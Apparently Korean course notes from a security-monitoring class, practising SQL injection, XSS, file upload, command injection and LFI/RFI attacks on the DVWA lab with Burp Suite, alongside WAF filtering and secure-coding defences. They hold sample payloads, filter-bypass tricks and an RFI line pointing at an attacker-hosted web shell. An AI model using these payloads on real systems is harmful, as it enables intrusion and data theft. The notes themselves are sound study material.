테스트 방법 → (burfsuite에서 inspect off 하고 가상머신에서 네이버에서 로그인하고 on 인가..? )

 

 

 

 

 

BPR (비즈니스 프로세스 리엔지니어링)

 

ISP(정보화전략계획)

 

 

 

 

 

SQLMAP: sqli 공격을 자동화 해주는 도구

 

 

 

 

 

 

 

security level 을 medium으로 바꾸고 submit

 

 

 

 

 

 

Sql injection으로 가면 이렇게 바뀜

 

 

 

 

 

 

 

proxy: proxy 기능

intruder: 자동화 공격

repeater: 패킷(트래픽) 재사용

decoder: 인코딩, 복호화(URL, HTML, Base64 등 복호화가 가능한 알고리즘)

extension: 확장기능(Burfsuite는 plugin을 가져다가 사용할 수 있음)

 

 

 

 

 

 

패킷 (트래픽) 구조

POST /vulnerabilities/sqli/ HTTP/1.1 // method와 접속하는 path, param 등 확인

Host: dvwa // 내가 접속하는 서버 주소

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 // 내가 서버로 접속할 때 보내는 접속정보 (클라이언트 환경), 칼리라서 리눅스라고 나옴, Firefox 버전도 나옴, 사후에 사고가 발생했을 때 사용가능 (공격자 환경 파악), 웹 서버의 access로그에 기록되도록 설정 필요, 보안장비는 기본적으로 모두 기록함(WAF)

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 18

Origin: http://dvwa

Connection: keep-alive

Referer: http://dvwa/vulnerabilities/sqli/ // 내가 마지막으로 방문한 주소 (POST에 있는 경로에 접속하기 위해 마지막으로 접속한 주소)

Cookie: PHPSESSID=tr6auq2ub8cqegr9l722sk10l3; security=medium // 연결 정보 (세션)

Upgrade-Insecure-Requests: 1

 

 

id=1&Submit=Submit

 

 

 

 

 

POST ~ Upgrade까지는 모드 헤더 영역

 

 

 

id=1&Submit=Submit //Body, Payload영역이 됨 (실제 서버로 전송되는 데이터 정보)

 

 

 

 

 

burfsuite를 on으로 바꾸고 

 

 

 

 

 

id뒤에 ' 추가하고 send 하면 syntax 에러남

 

 

 

 

 

id=1 뒤에 or 1=1 # 을 입력 하고 send

 

 

 

 

 

 

 

다른 쿼리

 

 

 

 

 

 

 

 

 

 

 

이건 왜 한건지 잘 모르겠음 ↓

 

 

 

proxy 도구는 127.~ 시작하는 것은 IP는 패킷 캡처가 원래 안됨

 

127.0 ~ Loopback으로 인식

 

 

 

about:config

 

 

 

 

 

 

 

 

 

더블클릭해서 true로 바꾸기

 

 

 

 

 

 

 

 

 

문자열 10개이상 쓰게 개발자 도구 가서 inspector 

 

max_lenth 100으로 수정

 

 

 

 

 

 

 

alert 이 안뜨고 이렇게 나옴

 

<script>로 시작하는 것이 차단되고 있다 라고 유추할 수 있음

 

 

 

구글에 검색

xss cheat sheet

 

<sCript>alert("test")</sCript>1

 

 

 

SQLi와 XSS대응

문자열 필터로 쉽게 대응 가능

1) 보안 장비

'union select , or 1=1 , <script> , alert , <img ~

 

'union, seleect 등 문자열에 대한 필터를 어떻게 할 것인가?

내 id가 union일 때 보안장비에서 어떻게 하면 오용탐지를 낮출 수 있을까  →  정규표현식 사용

 

 

 

2) 시큐어 코딩

loginpage  → id form  ' (싱글쿼트)가 입력되지 않도록 방지, %20(공백)이 입력되지 않도록, '<' char 아니라 text로 인식되도록 form에서 설정하면 됨

replace(치환)만 하면 대응 가능

 

 

 


 

 

File UP/DOWNload

 

업로드 된 파일이 실행되기 위한 조건 : 업로드 폴더 실행권한, 업로드 된 파일경로 노출

업로드 공격 대응

 →  업로드 폴더 실행권한 제거, 업로드된 파일 경로 노출 제거

 →  악성 파일 확장자 업로드 필터ㅌ

 → 업로드 되는 데이터 영역(payload, body)에 대한 문자열  필터(헤더, 본문도 점검 필요)   →   이것만 보안장비에서 대응 가능

 

 

업로드에 따른 상태 차이

유닉스: 확장자 기반이 아니라 권한 기반으로 동작

→ 해당 폴더에 생성되는 파일이 실행권한이 부여될때

 

윈도우: 확장자 기반으로 실행  →  파일업로드 취약점은 윈도우 서버가 더 안전함 (확장자 기반으로 필터가 되어 있을 때 확장자를 변경해서 업로드 해도 실행이 안됨. 해당 확장자로 인식

 

공격자는 확장자를 변경하던지, Content-Type을 변경하던지, 파일의 헤더를 추가하여 업로드 우회 시도

php, php2~php7 까지 먹힘 (뭔소리지)

 

 

테스트 ↓

 

놓침

 

 

 

Content - Type을 image/jpeg로 바꿈

 


 

 

BruteForce

→  자동화 공격, 무차별 대입공격 (사전기반, 무차별)

로그인 (취약한 ID or password 사용시)

파라미터 변조 (API 포함)를 데이터를 확인할 때

Intruder 기능을 사용하면 됨, 또는 코딩을 해도 됨

 

Command Injection

명령어 주입 공격, system함수에 의해 추가로 명령어가 실행되는 구조

;,|, ||, && c총 4가지의 방법으로 가능

ex) ls ; pwd를 하면 ls가실행되고(실행여부 상관없이), pwd가 실행됨

parameter 인자값으로 전달

해당 기능에서 system(cmd, sh)함수를 사용하고 있을 경우만 가능

공유기, 프린터, Iot, Embeded

uri에 ;, ...... 놓

 

 

 

LFI/RFI 

파일 참조 공격, 페이지 내 다른 파일을 참조하는데서 취약점이 발생함

함수 → include

취약점 구조: 소스코드 내 'admin?page=../../../test.html' 와 같은 구조를 가지고 있음

 

LFI: 로컬 파일 참조  → admin 페이지가 실행되는 서버의 파일을 참조하는 공격(웹서버)

../../../etc/password 와 같이 입력하여 로컬에 있는 파일 참조

../  →  상위 디렉토리 지정 문자열이 핵심, 인코딩 작업을 수행함, HTML, URL, 2중 URL 등

 

RFI: 원격 파일 참조  → 원격에 있는 페이지를 웹서버로 임포트하여 실행되는 공격

http://attacker.com/webshell   웹셸이 업로드 된 효과

http:// 프로토콜 지정이 핵심, 문자열을 회피하기 위해서 hthttpttp:// 이중으로 문자열을 입력함으로써 회피 (가운데 http가 감지되면 지워지고 밖에 http로 인식)

 

LFI와 파일다운로드 공격은 다름

LFI는 파라미터를 통해 파일을 참조하는 방식, 파일다운로드는 페이지가 다운로드 할 파일을 지정하여 호출하는 방식

 

LFI : http://test.com/abcd?page=../../../../../etc/passwd

download: http://test.com/download?id=test.doc    test.doc 대신에 상대경로(../../../../)로 파일명 입력

LFI 는 함수 구조로 기반, downliad는 페이지로 동작

LFI : ../ 에 대해 인코딩 데이터 복호화 필요, ../ 필터 핖요 (WAF에 인코딩 데이터 복호화 기능 지원)

RFI: uri 구조에 http와 같은 프로토콜 입력 필터

download: ../가 필터되도록 (LFI동일)

 

 

Rule을 만들면서 주의할 점

1) 정규표현식 사용여부 체크

ex) GET1, GET2, GWT99 와 같이 입력될 수 있는 것들

 

2) Rule에 탐지되었을 때 어떤 공격에 의해 탐지 되었는지에 대해 명확히 구분할 것

rule에 의해 탐지되면 로그가 남으며, log 기반으로 공격 횟수 카운팅이 가능

 

 

 

'보안 > 보안 관제' 카테고리의 다른 글

Snort 환경 구축  (1) 2024.12.11
Snort Rule 구조  (0) 2024.12.11
mod security  (3) 2024.12.11
[로그]  (1) 2024.12.06
보안 관제 (Security Operations Center, SOC)  (1) 2024.12.06

+ Recent posts